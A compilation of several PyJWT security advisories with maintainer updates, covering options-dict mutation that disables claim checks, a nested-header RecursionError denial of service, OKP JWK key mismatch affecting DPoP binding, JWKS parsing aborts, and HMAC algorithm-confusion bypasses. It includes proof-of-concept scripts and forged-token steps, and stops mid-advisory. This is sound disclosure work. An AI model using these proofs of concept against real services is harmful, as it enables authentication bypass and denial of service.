Summary

PyJWT.decode()/decodecomplete() mutates a caller-supplied options dict in place whenever verifysignature is falsy, adding verifyexp/verifynbf/verifyiat/verifyaud/verifyiss/verifysub/verifyjti keys directly onto that object. If application code reuses the same options dict across calls (a config object, a module-level constant, a wrapper's self.options), a later call that explicitly sets verifysignature=True for a full, normal verification silently inherits the leftover verifyexp=False etc. from an earlier verifysignature=False call on the same object -- and accepts an expired, wrong-audience, wrong-issuer, or wrong-subject token as valid with no exception. Signature verification itself is unaffected; this is specifically a claims-check bypass.

This is a regression of an already-fixed, closed issue: originally reported in #679 (2021), fixed in #743 (2022, via a shallow copy of options), and silently reintroduced by #1045 (merged 2025-03-05, a typing/logic refactor that dropped the 2022 shallow-copy line). It has been present since #1045 merged, so it likely shipped in several releases already in the wild.

Details

File: jwt/apijwt.py, PyJWT.mergeoptions() (called from decodecomplete(), which backs both jwt.decode() and jwt.decodecomplete()):

python def mergeoptions(self, options=None): if options is None: return self.options if not options.get("verifysignature", True): options["verifyexp"] = options.get("verifyexp", False) options["verifynbf"] = options.get("verifynbf", False) # ...5 more, same pattern -- all written directly onto the caller's dict return {self.options, options}

No dict(options) copy occurs before these writes, unlike the pre-2025-03-05 code (see #743's fix, options = dict(options or {})). Confirmed via gh api repos/jpadilla/pyjwt/commits/29fbfc36 that #1045's diff removes that line. Confirmed still present on current main via a live fetch of jwt/apijwt.py.

PoC

Two scripts, each run twice (separate processes), identical output both times (except Python object id()), saved locally and available on request:

python import jwt, time

INSECUREOPTIONS = {"verifysignature": False}

secret = "s3cr3t" expiredtoken = jwt.encode( {"exp": int(time.time()) - 3600, "data": "x"}, secret, algorithm="HS256" )

jwt.decode(expiredtoken, options=INSECUREOPTIONS) print(INSECUREOPTIONS) The dict has been silently mutated with 7 new keys, including verifyexp: False.

INSECUREOPTIONS["verifysignature"] = True result = jwt.decode(expiredtoken, secret, algorithms=["HS256"], options=INSECUREOPTIONS) print(result) No exception raised. Expected: jwt.ExpiredSignatureError, since verifysignature=True was explicitly requested on this call.

Reproduced deterministically across 2 independent process runs.

Impact

Preconditions: the calling application must reuse a mutable options dict object across two or more decode()/decodecomplete() calls with different intent (e.g. one "insecure peek" call followed by a "fully verified" call on the same dict, config object, or instance attribute). This is a real, plausible pattern but not universal; it does not affect code that constructs a fresh options dict per call.

When triggered: a signed-but-expired (or wrong-aud/iss/sub/jti) token is silently accepted as fully verified, with no warning or exception. This is an authentication/claims-verification bypass, not a signature-verification bypass.

Scope: regression present since PR #1045 (merged 2025-03-05), affecting every PyJWT release since then up to and including the current 2.13.0.

Suggested fix: restore a shallow copy inside mergeoptions() itself (rather than relying on a caller-side copy), so every caller of mergeoptions is covered:

python def mergeoptions(self, options=None): if options is None: return self.options options = dict(options) # never mutate the caller's dict if not options.get("verifysignature", True): options.setdefault("verifyexp", False) options.setdefault("verifynbf", False) options.setdefault("verifyiat", False) options.setdefault("verifyaud", False) options.setdefault("verifyiss", False) options.setdefault("verifysub", False) options.setdefault("verifyjti", False) return {self.options, options}

Found via a property-based audit (copy/clone independence across widely-used Python libraries); both repro scripts were written and independently re-run before this report.

Maintainer update — 2026-09-08

We reproduced the reported behavior on PyJWT 2.13.0 at source SHA 7144e4534c34810f4525dc4578a32addd8212cff. A caller-supplied mutable options mapping was modified when verifysignature was false; reusing that mapping after re-enabling signature verification could leave registered-claim checks disabled. This is a conditional claim-verification bypass, not a signature-forgery issue.

A narrow fix has been prepared: PyJWT now copies the options mapping before applying defaults. Regression coverage includes decode(), decodecomplete(), constructor input preservation, mutable-mapping compatibility, and reuse of an options mapping across verification modes. The focused tests pass, the full suite passes with 369 tests and 4 intentional cryptography-environment skips, and lint/format/type checks pass.

The advisory remains in triage while the fix goes through release planning. The independently verified range in this investigation is 2.13.0; reports of earlier affected versions should include the exact version and reproduction details.

Package

pyjwt (PyPI)

Affected versions

tested & verified on: 2.13.0. Every version whose PyJWS.load() translates only ValueError is affected

Description

PyJWS.looad() (jwt/apijws.py:337) splits the compact token, base64url decodes the header segment and hands it to json.loads() before verifysignature() runs. The parse is wrapped in except ValueError as e: raise DecodeError(...). That is what makes the documented contract sufficient for untrusted input: except jwt.PyJWTError (or InvalidTokenError) around jwt.decode(token, key, algorithms=[...]).

CPython's JSON decoder raises RecursionError (a RuntimeError subclass, not a ValueError) once nesting crosses the native stack guard. That exception leaves load(), then jwt.decode(), and matches no PyJWTError handlerr at all. No key and no valid signature are needed: the header is parsed first, so a single unauthenticated request with an unsigned token suffices.

Scope: the recursion threshold is ~65,000 nesting levels; below it the same input yields a clean DecodeError (a 346,800-byte flat header is rejected normally, so depth, not size, is the trigger). A token this large cannot ride in an Authorization header (rejected at HTTP field limits,431 under gunicorn), but body transport (RFC 7662 introspection style) is a standard pattern. Under Flask 3.1.3 / gunicorn 26.2.0 each crafted request returns HTTP 500 instead of 401 and writes a full traceback to the error log; the sync worker survives.

Proof of concept

Against any endpoint that validates a token from its JSON body with the documented pattern:

python import base64, json, http.client

def b64url(b): return base64.urlsafeb64encode(b).rstrip(b"=")

unsigned token: the header segment is 200,000 nested '[' (266,681 bytes total) token = (b64url(b"[" 200000) + b"." + b64url(b'{"a":1}') + b"." + b64url(b"x")).decode()

conn = http.client.HTTPConnection("127.0.0.1", 8125, timeout=30) conn.request("POST", "/api/protected", body=json.dumps({"token": token}), headers={"Content-Type": "application/json"}) print(conn.getresponse().status) # 500, expected 401

Determinism: 20/20 crafted requests returned 500 against the reference container (PyJWT 2.13.0, Flask 3.1.3, gunicorn 26.2.0, Python 3.14.7) in 0.12 s (about 6 ms per request in a tight loop, 14 ms for a cold request), each leaving a RecursionError: Stack overflow ... while decoding a JSON array traceback in the error log.

Impact

An unauthenticated attacker can turn every request to a JWT validating endpoint into a server error with a full traceback logged per request, a cheap and repeatable denial of service on the authentication path (no crash, no data exposure).

Fix

Catch RecursionError alongside ValueError in load() and raise DecodeError, or parse the header with a nonrecursive, depthbounded parser.

Reproduction

A standalone package (docker-compose.yml, Dockerfile, requirements.txt, target app, driver) accompanies this report:

cd <package dir> docker compose up -d --build python3 poccheckthenattack.py docker compose down -v pocpyjwtrecursion.zip

Exit 0= reproduced (control checks green, exactly one crafted request returns 500, traceback verified in docker logs, service alive afterwards); 1 = not reproduced; 2 = checks failed, no attack sent. The package's runlog.txt documents a complete proof run.

Credits

- @Nivid42

Maintainer update — 2026-09-09

We reproduced the reported behavior on PyJWT 2.13.0: a deeply nested JSON array in the untrusted compact-JWS header reaches json.loads() before signature verification and raises RecursionError, which is not a PyJWTError. The same input is accepted by the public jwt.decode() path and can escape an application's normal except PyJWTError handling.

The fix is committed as 06573692ebcdec8831c3927513b3e87c31fbbb62. PyJWS.load() now translates both ValueError and RecursionError from header JSON parsing into DecodeError. A regression test covers the deeply nested-header path before signature verification. The full suite passes with 373 tests and 4 intentional cryptography-environment skips.

No release containing the fix has been published yet, so the patched version remains unset pending release planning. The advisory remains medium severity and unpublished.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Summary

PyJWT accepts internally inconsistent OKP private JWKs where the declared public key x does not correspond to the supplied private key d.

When d is present, OKPAlgorithm.fromjwk() constructs the Ed25519/Ed448 private key from d without verifying that the public key derived from d matches x. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key.

In affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder's private key.

Details

The vulnerable logic is in jwt/algorithms.py:

python if "x" not in obj: raise InvalidKeyError('OKP should have "x" parameter')

x = base64urldecode(obj.get("x"))

if "d" not in obj: if curve == "Ed25519": return Ed25519PublicKey.frompublicbytes(x) return Ed448PublicKey.frompublicbytes(x)

d = base64urldecode(obj.get("d"))

if curve == "Ed25519": return Ed25519PrivateKey.fromprivatebytes(d)

return Ed448PrivateKey.fromprivatebytes(d)

When d is present, x is parsed but never compared with the public key derived from d.

For example, PyJWT accepts:

json { "kty": "OKP", "crv": "Ed25519", "x": "<legitimate-user-public-key>", "d": "<attacker-private-key>" }

even though x and d belong to different key pairs.

The behavior has existed since OKP private-JWK import was introduced:

Ed25519: PyJWT 2.1.0+ Ed448: PyJWT 2.2.0+ Confirmed through PyJWT 2.14.0 and current master

A correct import should derive the public key from d and reject the JWK when it does not equal the supplied x.

PoC

The reproducer creates two Ed25519 keypairs:

a legitimate holder keypair an attacker keypair

It then:

1. Creates an access token whose cnf.jkt is bound to the legitimate public key. 2. Creates a DPoP proof JWK containing the legitimate user's x together with the attacker's d. 3. Computes the RFC 7638 thumbprint from x, which still matches the access-token binding. 4. Passes the complete JWK to PyJWK.fromdict(). 5. PyJWT imports the private key from the attacker-controlled d. 6. A DPoP proof signed with the attacker's private key verifies successfully.

Observed result:

text thumbprintmatches: true actualkeyisattackerkey: true actualkeymatchesdeclaredx: false stolensenderconstrainedtokenaccepted: true attackerhaslegitimateprivatekey: false

Tested on PyJWT 2.13.0, PyJWT 2.14.0, and current master.

The complete reproducer is: python #!/usr/bin/env python3

from future import annotations

import base64 import hashlib import json import os import platform import time from importlib.metadata import version from typing import Any

import jwt from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey from cryptography.hazmat.primitives.serialization import ( Encoding, NoEncryption, PrivateFormat, PublicFormat, )

ACCESSTOKENSECRET = b"synthetic-authorization-server-key-32b" HTTPMETHOD = "GET" HTTPURI = "https://resource.example/protected"

def b64url(raw: bytes) -> str: return base64.urlsafeb64encode(raw).rstrip(b"=").decode("ascii")

def publicx(privatekey: Ed25519PrivateKey) -> str: return b64url(privatekey.publickey().publicbytes(Encoding.Raw, PublicFormat.Raw))

def privated(privatekey: Ed25519PrivateKey) -> str: return b64url( privatekey.privatebytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption()) )

def jwkthumbprint(jwk: dict[str, Any]) -> str: canonical = json.dumps( {"crv": jwk["crv"], "kty": jwk["kty"], "x": jwk["x"]}, separators=(",", ":"), sortkeys=True, ).encode("ascii") return b64url(hashlib.sha256(canonical).digest())

def accesstokenhash(accesstoken: str) -> str: return b64url(hashlib.sha256(accesstoken.encode("ascii")).digest())

def verifyresourcerequest( accesstoken: str, proof: str, , rejectprivateheaderjwk: bool = False, ) -> dict[str, Any]: """Model the security-relevant stages of an RFC 9449 resource server.""" accessclaims = jwt.decode( accesstoken, ACCESSTOKENSECRET, algorithms=["HS256"], issuer="https://authorization.example", audience="resource-api", options={"require": ["exp", "iss", "aud", "sub", "cnf"]}, ) header = jwt.getunverifiedheader(proof) if header.get("typ") != "dpop+jwt" or header.get("alg") != "EdDSA": raise ValueError("invalid DPoP header policy") jwk = header.get("jwk") if not isinstance(jwk, dict): raise ValueError("missing DPoP JWK") if rejectprivateheaderjwk and any( member in jwk for member in ("d", "p", "q", "dp", "dq", "qi", "k") ): raise ValueError("DPoP header JWK contains private material") if jwkthumbprint(jwk) != accessclaims["cnf"]["jkt"]: raise ValueError("DPoP key does not match cnf.jkt")

key = jwt.PyJWK.fromdict(jwk) proofclaims = jwt.decode( proof, key, algorithms=["EdDSA"], options={"require": ["htm", "htu", "iat", "jti", "ath"]}, ) if proofclaims["htm"] != HTTPMETHOD or proofclaims["htu"] != HTTPURI: raise ValueError("DPoP request binding mismatch") if proofclaims["ath"] != accesstokenhash(accesstoken): raise ValueError("DPoP access-token hash mismatch") return accessclaims

def main() -> None: legitimateholder = Ed25519PrivateKey.generate() attacker = Ed25519PrivateKey.generate() legitimatex = publicx(legitimateholder) attackerx = publicx(attacker)

legitimatepublicjwk = { "alg": "EdDSA", "crv": "Ed25519", "kty": "OKP", "x": legitimatex, } mismatchedproofjwk = { legitimatepublicjwk, "d": privated(attacker), } pinnedjkt = jwkthumbprint(legitimatepublicjwk)

now = int(time.time()) accesstoken = jwt.encode( { "aud": "resource-api", "cnf": {"jkt": pinnedjkt}, "exp": now + 300, "iat": now, "iss": "https://authorization.example", "scope": "admin:read", "sub": "legitimate-holder", }, ACCESSTOKENSECRET, algorithm="HS256", ) proofclaims = { "ath": accesstokenhash(accesstoken), "htm": HTTPMETHOD, "htu": HTTPURI, "iat": now, "jti": "synthetic-attacker-proof", } attackerproof = jwt.encode( proofclaims, attacker, algorithm="EdDSA", headers={"jwk": mismatchedproofjwk, "typ": "dpop+jwt"}, )

imported = jwt.PyJWK.fromdict(mismatchedproofjwk).key importedx = b64url( imported.publickey().publicbytes(Encoding.Raw, PublicFormat.Raw) ) acceptedclaims = verifyresourcerequest(accesstoken, attackerproof)

publiconlyrejected = False publiconlyerror = None publiconlyproof = jwt.encode( proofclaims, attacker, algorithm="EdDSA", headers={"jwk": legitimatepublicjwk, "typ": "dpop+jwt"}, ) try: verifyresourcerequest(accesstoken, publiconlyproof) except Exception as error: publiconlyrejected = True publiconlyerror = type(error).name

privatemembercontrolrejected = False privatemembercontrolerror = None try: verifyresourcerequest( accesstoken, attackerproof, rejectprivateheaderjwk=True, ) except Exception as error: privatemembercontrolrejected = True privatemembercontrolerror = type(error).name

result = { "environment": { "PyJWT": jwt.version, "PyJWTsource": str(jwt.file), "Python": platform.pythonversion(), "cryptography": version("cryptography"), "sourceref": os.environ.get("PYJWTSOURCEREF", "installed-release"), }, "dpopbinding": { "accesstokensubject": acceptedclaims["sub"], "accesstokenscope": acceptedclaims["scope"], "pinnedjkt": pinnedjkt, "proofjkt": jwkthumbprint(mismatchedproofjwk), "thumbprintmatches": jwkthumbprint(mismatchedproofjwk) == pinnedjkt, }, "importedkey": { "declaredx": legitimatex, "attackerx": attackerx, "actualimportedx": importedx, "actualkeyisattackerkey": importedx == attackerx, "actualkeymatchesdeclaredx": importedx == legitimatex, }, "vulnerablecomposition": { "stolensenderconstrainedtokenaccepted": acceptedclaims["sub"] == "legitimate-holder", "attackerhaslegitimateprivatekey": False, }, "controls": { "publiconlyjwkrejected": publiconlyrejected, "publiconlyerror": publiconlyerror, "rejectprivateheaderjwkblocksattack": privatemembercontrolrejected, "privatemembercontrolerror": privatemembercontrolerror, }, }

assert jwkthumbprint(mismatchedproofjwk) == pinnedjkt assert importedx == attackerx assert importedx != legitimatex assert acceptedclaims["sub"] == "legitimate-holder" assert publiconlyrejected and publiconlyerror == "InvalidSignatureError" assert privatemembercontrolrejected and privatemembercontrolerror == "ValueError" print(json.dumps(result, indent=2, sortkeys=True))

if name == "main": main()

text 06-practical-testing/pyjwt-okp-dpop-binding-bypass-lab.py

A public example of the affected composition exists in StrongDM's agentic-auth Flask middleware: it computes an OKP thumbprint from x and subsequently passes the entire JWK to PyJWK.fromdict() for EdDSA DPoP verification without rejecting d.

Impact

The PyJWT-owned issue is acceptance of internally inconsistent cryptographic key material: the JWK can declare one public key while the operative private key corresponds to another.

In a DPoP verifier that:

calculates cnf.jkt / JWK thumbprints from the declared x, passes the same JWK to PyJWT for signature verification, and does not reject private JWK parameters,

an attacker who steals a sender-constrained access token can use the token without possessing the legitimate holder's private key.

RFC 9449 §4.2 requires DPoP implementations to reject private key parameters in proof JWKs. Therefore the demonstrated authentication bypass additionally requires a DPoP implementation that omits this check. RFC-compliant DPoP implementations that reject d are not vulnerable to the demonstrated attack.

Maintainer assessment (2026-09-12)

We independently reproduced the PyJWT-owned issue: importing a private OKP JWK with non-corresponding x and d components returned the private key derived from d while accepting the conflicting declared public identity. The precise library impact is loss of JWK key-component consistency; a caller that uses x as the JWK identity and the returned key for cryptographic operations can act on two different key identities.

Exact boundary checks found Ed25519 JWK import absent in 2.0.1 and the inconsistent-pair behavior present in 2.1.0. Ed448 JWK import was absent in 2.1.0 and the behavior was present in 2.2.0. Both curves reproduced in 2.14.0 and the tested pre-fix source. These samples support the existing affected metadata (>= 2.1.0, <= 2.14.0) and the per-curve introduction points, but do not claim exhaustive testing of every intervening release.

The fix is on master in commit 3cd9ceec33ced359decbad75b413ad668ae6332c. It derives the public bytes from d, compares them with x, and rejects a mismatch. Fresh independent Astra/max review accepted the exact tree 9f219601e39026c7094d48f3fbb6678951878aa8 with no blocking findings or required revisions. Targeted red/green and sibling-path checks passed, and the exact repository CI command python -m tox passed all 35 required environments both before and after the commit.

The reported DPoP stolen-token scenario additionally requires an application to pass a private JWK from the proof header without rejecting private-key parameters. RFC 9449 sections 4.2 and 4.3 require such parameters to be absent or rejected, so that bypass is application-dependent and outside PyJWT's security-policy scope; it is not used to characterize the PyJWT-owned impact.

The fix is not yet contained in a released PyJWT 2.x version, so patchedversions remains empty and this advisory remains unpublished. The next lifecycle step is to move the advisory from triage to draft now that the verified fix is on master; publication must wait until a new released 2.x version is confirmed to contain the fix and is recorded as the patched boundary. ---

Maintainer release update (2026-09-23)

PyJWT 2.15.0 is the first released version containing the OKP JWK consistency fix. Its GitHub release tag points to commit 1d41a6478e1562e68ff667fcd703356acf085f68, which includes fix commit 3cd9ceec33ced359decbad75b413ad668ae6332c. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.

The published PyPI wheel (pyjwt-2.15.0-py3-none-any.whl, SHA-256 7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8) was checked directly: matching Ed25519 and Ed448 x/d private JWK components import successfully, while mismatched components raise InvalidKeyError. The supported affected range remains >= 2.1.0, <= 2.14.0; the patched version is 2.15.0. The earlier statement that no released patched version exists is superseded by this update.

The PyJWT-owned impact is acceptance of internally inconsistent OKP key material in affected versions. The reported DPoP stolen-token scenario additionally requires an application to accept private key parameters from a proof header, contrary to RFC 9449; it is not the basis for this advisory's classification. CVSS v3.1 6.5 (Medium), CWE-345, and CWE-348 are unchanged.

Summary

A malformed RSA JWK inside a JWK Set aborts parsing of the entire set instead of being skipped, because RSAAlgorithm.fromjwk can raise a plain ValueError that isn't caught by PyJWKSet's per-key error-skipping logic.

Affected component / version

- Package: PyJWT (PyPI, ecosystem pip) - Files: jwt/apijwk.py (PyJWK.init, PyJWKSet.init), jwt/algorithms.py (RSAAlgorithm.fromjwk) - Confirmed present in the master branch as of 2026-09-05 (commit 7144e4534c34810f4525dc4578a32addd8212cff, tag 2.13.0). Directly verified identical in tags 2.9.0, 2.10.0, 2.11.0, 2.12.0, 2.12.1, 2.13.0 -- the vulnerable call and the except PyJWTError guard are unchanged across all six releases. Not verified against any release prior to 2.9.0.

Details

PyJWKSet.init (jwt/apijwk.py:145-152) iterates each key in a JWK Set:

python for key in keys: try: self.keys.append(PyJWK(key)) except PyJWTError as error: if isinstance(error, MissingCryptographyError): raise error # skip unusable keys continue

PyJWK.init (apijwk.py:82) calls self.Algorithm.fromjwk(self.jwkdata) with no try/except of its own. For an RSA JWK, this dispatches to RSAAlgorithm.fromjwk (jwt/algorithms.py:539-586). When the JWK supplies d, e, n without the CRT parameters (p, q, dp, dq, qi), fromjwk calls cryptography's rsarecoverprimefactors(publicnumbers.n, d, publicnumbers.e) (algorithms.py:572-574) to derive the key. If d is not the correct private exponent for that n/e pair, rsarecoverprimefactors raises a plain ValueError.

ValueError is a built-in Python exception and is not a subclass of jwt.exceptions.PyJWTError (PyJWTError(Exception) is the root of PyJWT's own exception hierarchy). It is therefore not caught by PyJWKSet.init's except PyJWTError, and propagates out of the constructor, aborting the for key in keys: loop before any subsequent key in the list is processed.

PyJWKSet.fromdict/fromjson and PyJWK.fromdict/fromjson are exported public API (jwt/init.py). PyJWKClient.getjwkset (jwt/jwksclient.py:158) feeds a fetched JWKS HTTP response directly into PyJWKSet.fromdict with no per-key pre-validation, so this is reachable through the documented PyJWKClient flow whenever the fetched JWKS contains a malformed key alongside valid ones.

Proof of concept

python import jwt

goodjwk = { "kty": "RSA", "n": "<a valid base64url-encoded RSA modulus, e.g. from a real 2048-bit public key>", "e": "AQAB", }

badjwk = { "kty": "RSA", "n": goodjwk["n"], "e": "AQAB", "d": "AAAAAA", # not the true private exponent for n/e, no CRT params present }

jwksdoc = {"keys": [badjwk, goodjwk]}

jwt.PyJWKSet.fromdict(jwksdoc) raises: ValueError: Unable to compute factors p and q from exponent d. (uncaught -- PyJWKSet.init never returns, goodjwk is never added)

Impact

PyJWKSet.init raises before completing, so no key in the JWK Set is added to the resulting set, including keys unrelated to the malformed entry. This requires the malformed key to already be present in a JWK Set the application parses (e.g. one entry in an aggregated/federated key set, or a key affected by transit corruption before signature verification of the JWKS transport itself). Applications that vet each key individually before adding it to a trusted set are not affected. The failure is an uncaught ValueError, not one of PyJWT's documented jwt.exceptions. types, so exception handling written against PyJWT's documented contract (except jwt.exceptions.PyJWTError) will not catch it either.

Suggested remediation

Wrap the key-construction call in PyJWK.init (apijwk.py:82) so a ValueError is converted into InvalidKeyError (a PyJWTError subclass):

python try: self.key = self.Algorithm.fromjwk(self.jwkdata) except ValueError as e: raise InvalidKeyError(f"Unable to construct key from JWK: {e}") from e

This lets PyJWKSet.init's existing except PyJWTError: continue skip the one malformed key as its own comment already states is intended.

Responsible Disclosure Timeline

Per the OWASP Vulnerability Disclosure Cheat Sheet and Google Project Zero's 2020 disclosure policy:

- Day 0 (date of submission): to be set to the actual API response's createdat timestamp when this report is submitted. If submitted on the date of this draft (2026-09-05), Day 0 = 2026-09-05. - Day 90 (full-public-disclosure deadline, regardless of fix status): Day 0 + 90 days -- 2026-12-04 if Day 0 is 2026-09-05. - A brief mutually-agreed extension (standard 14-day grace period) is available if a fix is scheduled but not yet shipped by Day 90 -- extending to 2026-12-18 in that case. - This window may shorten instead of extend if the issue is confirmed under active exploitation.

Try It Yourself (Sandbox)

Reproduce the PoC above, and attempt your own fix, in an isolated sandbox with no access to production systems, secrets, or real data.

- Sandbox: jwt.py - Course: Tenant Zero: AI & SaaS Authz Failures

Credit

Discovered and reported by SecDim Security Research: secdim.com, @secdim, security@secdim.com.

Maintainer update — 2026-09-08

We reproduced the reported behavior on PyJWT 2.13.0 with cryptography installed: a malformed RSA private JWK containing an invalid d value and no CRT parameters raised a plain ValueError while parsing a JWK set. Because PyJWKSet skips PyJWTError instances only, that exception aborted parsing before subsequent valid keys were loaded. The impact is a conditional availability failure for applications that parse a key set containing a malformed entry; it is not a signature-forgery or claims-verification bypass.

The independently verified affected range is >= 2.9.0, <= 2.13.0; earlier releases were not checked. A narrow fix has been prepared in commit 8915570 based on master commit 5fa7594: PyJWK converts key-construction ValueError exceptions to InvalidKeyError, allowing the existing PyJWKSet skip path to continue. Regression coverage verifies that a malformed RSA key is skipped while a valid key in the same set remains usable. The full suite passes with 370 tests and 4 intentional cryptography-environment skips; formatting, lint, and targeted type checks pass. The advisory remains in triage while the fix goes through release planning.

Summary

PyJWT 2.13.0 contains an incomplete defense against algorithm confusion when an application mixes symmetric and asymmetric algorithms in one verification path. A public RSA, EC, or OKP JWK can be accepted as an HMAC secret when it is wrapped in a JWKS object, nested in an array, or represented in another container form that does not expose a top-level kty member.

Impact

An attacker who knows the public key material can forge HS256/HS384/HS512 tokens if the application simultaneously:

allows both HS and asymmetric algorithms; passes raw public JWK/JWKS JSON as key=; and uses that same value as the HMAC secret.

This can allow forged JWT claims in affected application configurations. The issue does not affect applications that keep symmetric and asymmetric verification paths separate and follow PyJWT's algorithm-selection guidance.

Fix status

The fix is on master in commit 801cd12 (fix: reject public JWK container HMAC keys). HMACAlgorithm.preparekey now rejects public JWK members found in objects, arrays, nested containers, BOM/UTF variants, and recursion-limit inputs. It also recognizes escaped JSON member names without treating ordinary string values as JWKs. Ordinary JSON secrets remain accepted byte-for-byte.

The change was tested with focused regression tests and the full local tox matrix. Available Python 3.9, 3.12, and 3.13 crypto/no-crypto suites, mypy, package metadata, and coverage passed; unavailable interpreters were skipped by the project configuration. A fresh independent Astra/max security review accepted the final diff with no blocking findings.

The affected range is = 2.13.0. The fix is on the unreleased development branch; the patched version will be recorded when a released 2.x version containing the fix is available. This advisory is being moved to draft pending that release.

Reporter credit

Credit: Charles Vosburgh / Trilobyte.

Original report

The original report and reproduction package are retained in the private advisory record.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Affected Package

- Package: PyJWT (pyjwt on PyPI) - Repository: https://www.google.com/url?q=https://github.com/jpadilla/pyjwt&source=gmail&ust=1781794518474000&sa=E - Affected version: 2.13.0 - Vulnerability class: Algorithm confusion / patch bypass

---

Root Cause

PyJWT 2.13.0 introduced a guard in HMACAlgorithm.preparekey() (file jwt/algorithms.py, approximately line 344) to prevent RSA public key material from being used as an HMAC secret — the root cause of CVE-2026-48526.

The guard uses bytes.lstrip() before calling startswith(b"{"):

python stripped = keybytes.lstrip() # strips ASCII whitespace only if stripped.startswith(b"{"): # JWK detection ... raise InvalidKeyError("The specified key is an asymmetric key...")

bytes.lstrip() with no argument removes only bytes in the ASCII whitespace set (\x20 \t \n \r \x0b \x0c). A UTF-8 BOM prefix (\xef\xbb\xbf) is not stripped, so stripped.startswith(b"{") returns False for any BOM-prefixed JWK JSON. The JWK detection block is never entered, and the RSA public key bytes are silently accepted as the HMAC-SHA256 secret.

---

PoC Sketch (pseudocode — not a weaponized payload)

python 1. Attacker obtains RSA public key JWK (e.g., from /jwks.json endpoint) and prepends a UTF-8 BOM byte sequence before the JSON opening brace. 2. Attacker signs a JWT using HS256, with the BOM-prefixed JWK as the secret. 3. Attacker submits the forged token to a verifier that: - accepts algorithms=["HS256", "RS256"] - holds the same RSA public key as raw bytes (BOM-prefixed key file) 4. PyJWT 2.13.0 accepts the token because the BOM causes the JWK detection check to be skipped — the RSA JWK bytes become a valid HMAC key. Result: arbitrary claims (role, sub, etc.) accepted by the verifier.

---

Impact

An unauthenticated network attacker who knows the target application's RSA public key — which is public by design and obtainable from a JWKS endpoint or certificate — can forge JWT tokens containing arbitrary claims and have them accepted by a PyJWT 2.13.0 verifier configured with a mixed algorithm set (algorithms=["HS256", "RS256"] or equivalent). The resulting impact is complete authentication and authorization bypass (C:H/I:H). Attack Complexity is High (AC:H) because the attacker must obtain the RSA public key and the verifier must use a mixed-algorithm configuration; no authentication is required (PR:N). This is a patch bypass: users who upgraded to 2.13.0 specifically to remediate CVE-2026-48526 remain vulnerable.

---

Suggested Fix

Option A (minimal): Replace lstrip() with an explicit strip of known BOM prefixes before the JSON detection check:

python Strip common BOM prefixes in addition to ASCII whitespace BOMPREFIXES = (b"\xef\xbb\xbf", b"\xff\xfe", b"\xfe\xff") stripped = keybytes for bom in BOMPREFIXES: if stripped.startswith(bom): stripped = stripped[len(bom):] break stripped = stripped.lstrip()

Option B (more robust): Use json.loads() as the detection mechanism instead of a byte-prefix check, so encoding variants and whitespace are handled by the JSON parser:

python try: testobj = json.loads(keybytes.strip()) if isinstance(testobj, dict) and "kty" in testobj: raise InvalidKeyError("The specified key is an asymmetric key...") except (ValueError, UnicodeDecodeError): pass

Option B is preferred because it is resilient to any future encoding variant.

---

Maintainer update — 2026-09-09

We reproduced the reported algorithm-confusion path on PyJWT 2.13.0. When an application passes a raw public RSA JWK as the key and allows both an asymmetric and HMAC algorithm, a forged HS256 token signed with the known public JWK bytes is accepted when the JWK is represented in encodings accepted by Python's JSON decoder. The normal raw-JWK, asymmetric-only, and algorithm-bound PyJWK controls reject the token. This is an application configuration precondition, but the bypass is in PyJWT's own raw-JWK validation guard and is in scope under the PyJWT security policy.

The fix is committed as 180783930de91876bc0d601f826a1f2956057291. HMACAlgorithm.preparekey() now checks parsed JSON objects for kty across accepted UTF-8/16/32 representations, preserves non-JWK HMAC key bytes, and conservatively rejects deeply nested JSON objects even when parsing reaches the recursion guard. Regression coverage includes BOM and BOM-less encodings, deep non-JWK keys, deep JWK objects, and unpaired-surrogate cases.

The full suite passes with 391 tests and 4 intentional cryptography-environment skips. A fresh Astra/max independent review accepted commit 180783930de91876bc0d601f826a1f2956057291. It independently confirmed encoding/BOM handling, recursion and surrogate behavior, preservation of non-object key compatibility, and the reported test results.

The fix has not been released. The advisory remains High with its existing CVSS 3.1 score of 7.4, and the patched version remains unset pending release planning.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Summary

HMACAlgorithm.preparekey blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for -----BEGIN and for an ssh- prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.

An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.

The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.

Details

The guard is at jwt/algorithms.py:331:

python if ispemformat(keybytes) or issshkey(keybytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." )

Both helpers are text matchers. Neither one parses the key.

- jwt/utils.py:126, ispemformat, runs a regex for ----[- ]BEGIN ...----. - jwt/utils.py:141, issshkey, checks startswith against a list of ssh- and ecdsa-sha2- prefixes.

A DER encoded public key starts with the bytes 0x30 0x82. It matches neither, so preparekey returns it unchanged and it becomes the HMAC secret.

There is no DER handling anywhere in the package. grep -rni "\bDER\b|loadder" jwt/ tests/ returns nothing.

This affects three encodings that are all blocked in their PEM form today:

